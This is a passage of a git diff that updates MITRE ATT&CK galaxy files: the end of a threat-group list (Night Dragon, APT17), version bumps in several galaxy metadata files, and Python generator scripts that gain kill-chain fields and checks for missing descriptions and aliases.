"description": "Night Dragon is a campaign name for activity involving threat group that has conducted activity originating primarily in China. (Citation: McAfee Night Dragon) The activity from this group is also known as Musical Chairs. (Citation: Arbor Musical Chairs Feb 2018)", + "value": "Night Dragon - G0014", + "meta": { + "synonyms": [ + "Night Dragon", + "Musical Chairs" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0014", + "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee%20NightDragon%20wp%20draft%20to%20customersv1-1.pdf", + "https://www.arbornetworks.com/blog/asert/musical-chairs-playing-tetris/" + ], + "external_id": "G0014" + }, + "uuid": "23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8" + }, + { + "description": "APT17 is a China-based threat group that has conducted network intrusions against U.S. government entities, the defense industry, law firms, information technology companies, mining companies, and non-government organizations. (Citation: FireEye APT17)", + "value": "APT17 - G0025", + "meta": { + "synonyms": [ + "APT17", + "Deputy Dog" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0025", + "https://www2.fireeye.com/rs/fireye/images/APT17%20Report.pdf" + ], + "external_id": "G0025" + }, + "uuid": "090242d7-73fc-4738-af68-20162f7a5aae" + } + ] +} \ No newline at end of file diff --git a/galaxies/mitre-enterprise-attack-attack-pattern.json b/galaxies/mitre-enterprise-attack-attack-pattern.json index 5c50973..919d058 100644 --- a/galaxies/mitre-enterprise-attack-attack-pattern.json +++ b/galaxies/mitre-enterprise-attack-attack-pattern.json @@ -1,8 +1,8 @@ { - "name": "Enterprise Attack - Attack Pattern", - "type": "mitre-enterprise-attack-attack-pattern", - "description": "ATT&CK Tactic", - "uuid": "fa7016a8-1707-11e8-82d0-1b73d76eb204", - "version": 3, - "icon": "map" -} + "name": "Enterprise Attack - Attack Pattern", + "type": "mitre-enterprise-attack-attack-pattern", + "description": "ATT&CK Tactic", + "uuid": "fa7016a8-1707-11e8-82d0-1b73d76eb204", + "version": 4, + "icon": "map" +} \ No newline at end of file diff --git a/galaxies/mitre-enterprise-attack-course-of-action.json b/galaxies/mitre-enterprise-attack-course-of-action.json index 8cc56ae..a72938d 100644 --- a/galaxies/mitre-enterprise-attack-course-of-action.json +++ b/galaxies/mitre-enterprise-attack-course-of-action.json @@ -1,8 +1,8 @@ { - "name": "Enterprise Attack - Course of Action", - "type": "mitre-enterprise-attack-course-of-action", - "description": "ATT&CK Mitigation", - "uuid": "fb5a36c0-1707-11e8-81f5-d732b22a4982", - "version": 3, - "icon": "chain" -} + "name": "Enterprise Attack - Course of Action", + "type": "mitre-enterprise-attack-course-of-action", + "description": "ATT&CK Mitigation", + "uuid": "fb5a36c0-1707-11e8-81f5-d732b22a4982", + "version": 4, + "icon": "chain" +} \ No newline at end of file diff --git a/galaxies/mitre-enterprise-attack-intrusion-set.json b/galaxies/mitre-enterprise-attack-intrusion-set.json index 816c2a3..643ac90 100644 --- a/galaxies/mitre-enterprise-attack-intrusion-set.json +++ b/galaxies/mitre-enterprise-attack-intrusion-set.json @@ -1,8 +1,8 @@ { - "name": "Enterprise Attack -Intrusion Set", - "type": "mitre-enterprise-attack-intrusion-set", - "description": "Name of ATT&CK Group", - "uuid": "1f3b8c56-1708-11e8-b211-17a60c0f73ee", - "version": 3, - "icon": "user-secret" -} + "name": "Enterprise Attack -Intrusion Set", + "type": "mitre-enterprise-attack-intrusion-set", + "description": "Name of ATT&CK Group", + "uuid": "1f3b8c56-1708-11e8-b211-17a60c0f73ee", + "version": 4, + "icon": "user-secret" +} \ No newline at end of file diff --git a/galaxies/mitre-enterprise-attack-malware.json b/galaxies/mitre-enterprise-attack-malware.json index 34fa007..5b438b3 100644 --- a/galaxies/mitre-enterprise-attack-malware.json +++ b/galaxies/mitre-enterprise-attack-malware.json @@ -1,8 +1,8 @@ { - "name": "Enterprise Attack - Malware", - "type": "mitre-enterprise-attack-malware", - "description": "Name of ATT&CK software", - "uuid": "fbb19af0-1707-11e8-9fd6-dbd88a04d33a", - "version": 3, - "icon": "optin-monster" -} + "name": "Enterprise Attack - Malware", + "type": "mitre-enterprise-attack-malware", + "description": "Name of ATT&CK software", + "uuid": "fbb19af0-1707-11e8-9fd6-dbd88a04d33a", + "version": 4, + "icon": "optin-monster" +} \ No newline at end of file diff --git a/galaxies/mitre-enterprise-attack-tool.json b/galaxies/mitre-enterprise-attack-tool.json index 9e5e74d..fc166f0 100644 --- a/galaxies/mitre-enterprise-attack-tool.json +++ b/galaxies/mitre-enterprise-attack-tool.json @@ -1,8 +1,8 @@ { - "name": "Enterprise Attack - Tool", - "type": "mitre-enterprise-attack-tool", - "description": "Name of ATT&CK software", - "uuid": "fbfa0470-1707-11e8-be22-eb46b373fdd3", - "version": 3, - "icon": "gavel" -} + "name": "Enterprise Attack - Tool", + "type": "mitre-enterprise-attack-tool", + "description": "Name of ATT&CK software", + "uuid": "fbfa0470-1707-11e8-be22-eb46b373fdd3", + "version": 4, + "icon": "gavel" +} \ No newline at end of file diff --git a/galaxies/mitre-mobile-attack-attack-pattern.json b/galaxies/mitre-mobile-attack-attack-pattern.json index 050a3dd..7cee3e0 100644 --- a/galaxies/mitre-mobile-attack-attack-pattern.json +++ b/galaxies/mitre-mobile-attack-attack-pattern.json @@ -1,8 +1,8 @@ { - "name": "Mobile Attack - Attack Pattern", - "type": "mitre-mobile-attack-attack-pattern", - "description": "ATT&CK Tactic", - "uuid": "1c6d1332-1708-11e8-847c-e3c5643c41a5", - "version": 2, - "icon": "map" -} + "name": "Mobile Attack - Attack Pattern", + "type": "mitre-mobile-attack-attack-pattern", + "description": "ATT&CK Tactic", + "uuid": "1c6d1332-1708-11e8-847c-e3c5643c41a5", + "version": 3, + "icon": "map" +} \ No newline at end of file diff --git a/galaxies/mitre-mobile-attack-course-of-action.json b/galaxies/mitre-mobile-attack-course-of-action.json index 972a480..e483852 100644 --- a/galaxies/mitre-mobile-attack-course-of-action.json +++ b/galaxies/mitre-mobile-attack-course-of-action.json @@ -1,8 +1,8 @@ { - "name": "Mobile Attack - Course of Action", - "type": "mitre-mobile-attack-course-of-action", - "description": "ATT&CK Mitigation", - "uuid": "0282356a-1708-11e8-8f53-975633d5c03c", - "version": 2, - "icon": "chain" -} + "name": "Mobile Attack - Course of Action", + "type": "mitre-mobile-attack-course-of-action", + "description": "ATT&CK Mitigation", + "uuid": "0282356a-1708-11e8-8f53-975633d5c03c", + "version": 3, + "icon": "chain" +} \ No newline at end of file diff --git a/galaxies/mitre-mobile-attack-intrusion-set.json b/galaxies/mitre-mobile-attack-intrusion-set.json index 4f8fd1f..2b3d585 100644 --- a/galaxies/mitre-mobile-attack-intrusion-set.json +++ b/galaxies/mitre-mobile-attack-intrusion-set.json @@ -1,8 +1,8 @@ { - "name": "Mobile Attack - Intrusion Set", - "type": "mitre-mobile-attack-intrusion-set", - "description": "Name of ATT&CK Group", - "uuid": "0314e554-1708-11e8-b049-8f8a42b5bb62", - "version": 2, - "icon": "user-secret" -} + "name": "Mobile Attack - Intrusion Set", + "type": "mitre-mobile-attack-intrusion-set", + "description": "Name of ATT&CK Group", + "uuid": "0314e554-1708-11e8-b049-8f8a42b5bb62", + "version": 3, + "icon": "user-secret" +} \ No newline at end of file diff --git a/galaxies/mitre-mobile-attack-malware.json b/galaxies/mitre-mobile-attack-malware.json index 79e3832..f5cd390 100644 --- a/galaxies/mitre-mobile-attack-malware.json +++ b/galaxies/mitre-mobile-attack-malware.json @@ -1,8 +1,8 @@ { - "name": "Mobile Attack - Malware", - "type": "mitre-mobile-attack-malware", - "description": "Name of ATT&CK software", - "uuid": "03e3853a-1708-11e8-95c1-67cf3f801a18", - "version": 2, - "icon": "optin-monster" -} + "name": "Mobile Attack - Malware", + "type": "mitre-mobile-attack-malware", + "description": "Name of ATT&CK software", + "uuid": "03e3853a-1708-11e8-95c1-67cf3f801a18", + "version": 3, + "icon": "optin-monster" +} \ No newline at end of file diff --git a/galaxies/mitre-mobile-attack-tool.json b/galaxies/mitre-mobile-attack-tool.json index 227f221..0dcd145 100644 --- a/galaxies/mitre-mobile-attack-tool.json +++ b/galaxies/mitre-mobile-attack-tool.json @@ -1,8 +1,8 @@ { - "name": "Mobile Attack - Tool", - "type": "mitre-mobile-attack-tool", - "description": "Name of ATT&CK software", - "uuid": "1d0b4bce-1708-11e8-9e6e-1b130c9b0a91", - "version": 2, - "icon": "gavel" -} + "name": "Mobile Attack - Tool", + "type": "mitre-mobile-attack-tool", + "description": "Name of ATT&CK software", + "uuid": "1d0b4bce-1708-11e8-9e6e-1b130c9b0a91", + "version": 3, + "icon": "gavel" +} \ No newline at end of file diff --git a/galaxies/mitre-pre-attack-attack-pattern.json b/galaxies/mitre-pre-attack-attack-pattern.json index 894ccc5..88088b1 100644 --- a/galaxies/mitre-pre-attack-attack-pattern.json +++ b/galaxies/mitre-pre-attack-attack-pattern.json @@ -1,8 +1,8 @@ { - "name": "Pre Attack - Attack Pattern", - "type": "mitre-pre-attack-attack-pattern", - "description": "ATT&CK Tactic", - "uuid": "1f665850-1708-11e8-9cfe-4792b2a91402", - "version": 2, - "icon": "map" -} + "name": "Pre Attack - Attack Pattern", + "type": "mitre-pre-attack-attack-pattern", + "description": "ATT&CK Tactic", + "uuid": "1f665850-1708-11e8-9cfe-4792b2a91402", + "version": 3, + "icon": "map" +} \ No newline at end of file diff --git a/galaxies/mitre-pre-attack-intrusion-set.json b/galaxies/mitre-pre-attack-intrusion-set.json index 73fc137..f098fe7 100644 --- a/galaxies/mitre-pre-attack-intrusion-set.json +++ b/galaxies/mitre-pre-attack-intrusion-set.json @@ -1,8 +1,8 @@ { - "name": "Pre Attack - Intrusion Set", - "type": "mitre-pre-attack-intrusion-set", - "description": "Name of ATT&CK Group", - "uuid": "1fb6d5b4-1708-11e8-9836-8bbc8ce6866e", - "version": 2, - "icon": "user-secret" -} + "name": "Pre Attack - Intrusion Set", + "type": "mitre-pre-attack-intrusion-set", + "description": "Name of ATT&CK Group", + "uuid": "1fb6d5b4-1708-11e8-9836-8bbc8ce6866e", + "version": 3, + "icon": "user-secret" +} \ No newline at end of file diff --git a/tools/mitre-cti/v2.0/create_mitre-enterprise-attack-attack-pattern_galaxy.py b/tools/mitre-cti/v2.0/create_mitre-enterprise-attack-attack-pattern_galaxy.py index 9fc30f4..6eb30b0 100644 --- a/tools/mitre-cti/v2.0/create_mitre-enterprise-attack-attack-pattern_galaxy.py +++ b/tools/mitre-cti/v2.0/create_mitre-enterprise-attack-attack-pattern_galaxy.py @@ -30,6 +30,9 @@ for element in os.listdir('.'): value['meta']['refs'].append(reference['url']) if 'external_id' in reference: value['meta']['external_id'] = reference['external_id'] + value['meta']['kill_chain'] = [] + for killchain in temp['kill_chain_phases']: + value['meta']['kill_chain'].append(killchain['kill_chain_name'] + ':enterprise-attack:' + killchain['phase_name']) if 'x_mitre_data_sources' in temp: value['meta']['mitre_data_sources'] = temp['x_mitre_data_sources'] if 'x_mitre_platforms' in temp: diff --git a/tools/mitre-cti/v2.0/create_mitre-enterprise-attack-intrusion-set_galaxy.py b/tools/mitre-cti/v2.0/create_mitre-enterprise-attack-intrusion-set_galaxy.py index b2f500b..137166b 100644 --- a/tools/mitre-cti/v2.0/create_mitre-enterprise-attack-intrusion-set_galaxy.py +++ b/tools/mitre-cti/v2.0/create_mitre-enterprise-attack-intrusion-set_galaxy.py @@ -21,16 +21,18 @@ for element in os.listdir('.'): temp = d['objects'][0] value = {} - value['description'] = temp['description'] + if 'description' in temp: + value['description'] = temp['description'] value['value'] = temp['name'] + ' - ' + temp['external_references'][0]['external_id'] value['meta'] = {} - value['meta']['synonyms'] = temp['aliases'] + if 'aliases' in temp: + value['meta']['synonyms'] = temp['aliases'] value['meta']['refs']= [] for reference in temp['external_references']: if 'url' in reference and reference['url'] not in value['meta']['refs']: value['meta']['refs'].append(reference['url']) if 'external_id' in reference: - value['meta']['external_id'] = reference['external_id'] + value['meta']['external_id'] = reference['external_id'] value['uuid'] = re.search('--(.*)$', temp['id']).group(0)[2:] values.append(value) diff --git a/tools/mitre-cti/v2.0/create_mitre-mobile-attack-attack-pattern_galaxy.py b/tools/mitre-cti/v2.0/create_mitre-mobile-attack-attack-pattern_galaxy.py index 61dbe1a..8e49cbc 100644 --- a/tools/mitre-cti/v2.0/create_mitre-mobile-attack-attack-pattern_galaxy.py +++ b/tools/mitre-cti/v2.0/create_mitre-mobile-attack-attack-pattern_galaxy.py @@ -30,6 +30,9 @@ for element in os.listdir('.'): value['meta']['refs'].append(reference['url']) if 'external_id' in reference: value['meta']['external_id'] = reference['external_id'] + value['meta']['kill_chain'] = [] + for killchain in temp['kill_chain_phases']: + value['meta']['kill_chain'].append(killchain['kill_chain_name'] + ':enterprise-attack:' + killchain['phase_name']) if 'x_mitre_data_sources' in temp: value['meta']['mitre_data_sources'] = temp['x_mitre_data_sources'] if 'x_mitre_platforms' in temp: diff --git a/tools/mitre-cti/v2.0/create_mitre-pre-attack-attack-pattern_galaxy.py b/tools/mitre-cti/v2.0/create_mitre-pre-attack-attack-pattern_galaxy.py index 8d2e137..032db41 100644 --- a/tools/mitre-cti/v2.0/create_mitre-pre-attack-attack-pattern_galaxy.py +++ b/tools/mitre-cti/v2.0/create_mitre-pre-attack-attack-pattern_galaxy.py @@ -30,6 +30,9 @@ for element in os.listdir('.'): value['meta']['refs'].append(reference['url']) if 'external_id' in reference: value['meta']['external_id'] = reference['external_id'] + value['meta']['kill_chain'] = [] + for killchain in temp['kill_chain_phases']: + value['meta']['kill_chain'].append(killchain['kill_chain_name'] + ':enterprise-attack:' + killchain['phase_name']) if 'x_mitre_data_sources' in temp: value['meta']['mitre_data_sources'] = temp['x_mitre_data_sources'] if 'x_mitre_platforms' in temp: